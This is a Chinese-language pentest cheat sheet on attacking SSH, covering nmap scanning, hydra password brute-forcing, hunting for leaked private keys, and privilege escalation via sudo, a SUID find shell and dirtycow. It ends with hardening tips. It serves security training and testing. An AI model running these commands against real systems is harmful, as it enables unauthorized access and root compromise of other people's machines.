22 - SSH 渗透与提权

漏洞概述

SSH(Secure Shell)是 Linux/Unix 系统远程管理的主要协议。常见攻击方式包括弱口令爆破、密钥泄露、配置不当等。

影响版本: 所有版本
危害等级: ⭐⭐⭐⭐⭐


信息收集

端口扫描

# Nmap 扫描
nmap -sV -p 22 <TARGET_IP>

# 识别 SSH 版本
nmap -sV --script ssh2-enum-algos <TARGET_IP>

版本识别

# 直接连接获取版本信息
nc -v <TARGET_IP> 22

# 输出示例
SSH-2.0-OpenSSH_7.4p1 Ubuntu-10ubuntu0.5

漏洞利用

方法 1: 弱口令爆破

# Hydra 爆破
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<TARGET_IP>

# 多用户爆破
hydra -L users.txt -P passwords.txt ssh://<TARGET_IP>

# 指定端口
hydra -l root -P rockyou.txt ssh://<TARGET_IP>:2222

方法 2: 密钥泄露

# 检查是否存在弱权限的私钥
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null

# 使用泄露的私钥连接
ssh -i id_rsa user@<TARGET_IP>
chmod 600 id_rsa  # 设置正确权限

方法 3: SSH 配置不当

# 检查是否允许 root 登录
grep "PermitRootLogin" /etc/ssh/sshd_config

# 检查是否允许空密码
grep "PermitEmptyPasswords" /etc/ssh/sshd_config

提权路径

1. sudo 提权

# 检查 sudo 权限
sudo -l

# 如果允许任意命令
sudo /bin/bash
sudo su

2. SUID 提权

# 查找 SUID 文件
find / -perm -u=s -type f 2>/dev/null

# 常见可利用 SUID
/usr/bin/find -perm -4000 -exec /bin/sh -p \;

3. 内核漏洞提权

# 检查内核版本
uname -a

# 使用 dirtycow 等漏洞
# https://github.com/firefart/dirtycow

防御建议

  1. 禁用 root 远程登录

    PermitRootLogin no
  2. 使用密钥认证

    PasswordAuthentication no
    PubkeyAuthentication yes
  3. 修改默认端口

    Port 2222
  4. 安装 Fail2Ban

    apt install fail2ban
  5. 定期更新 SSH 服务


参考链接